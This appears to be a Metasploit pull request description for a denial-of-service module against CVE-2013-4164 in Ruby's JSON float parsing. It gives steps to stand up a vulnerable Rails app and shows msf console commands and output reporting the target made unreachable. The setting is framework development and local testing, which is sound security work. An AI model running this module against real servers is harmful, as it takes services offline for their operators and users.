Module for CVE-2013-4164

So far, just a DoS. So far, just tested on recent Rails with Webrick and Thin front ends -- would love to see some testing on ngix/apache with passenger/mod_rails but I don't have it set up at the moment, so please hold off on landing until that's tested (either by me or some kind soul).

## Validation

 - [ ] Create a rails app using ruby-1.9-3-p448, like so:

````
rails new whoop
cd whoop
rails s
````

 - [ ] Point the module against it, see results:

````
msf > use auxiliary/dos/http/rails_json_float_dos 
msf auxiliary(rails_json_float_dos) > set rhost localhost
rhost => localhost
msf auxiliary(rails_json_float_dos) > set rport 3000
rport => 3000
msf auxiliary(rails_json_float_dos) > exploit

[*] localhost:3000 - Using digit pattern of 1388 taken to 125000 places
[*] localhost:3000 - Sending DoS HTTP request to /
[*] localhost:3000 - Checking availability
[+] localhost:3000 - DoS appears successful (Host unreachable)
[*] Auxiliary module execution completed
msf auxiliary(rails_json_float_dos) > 
````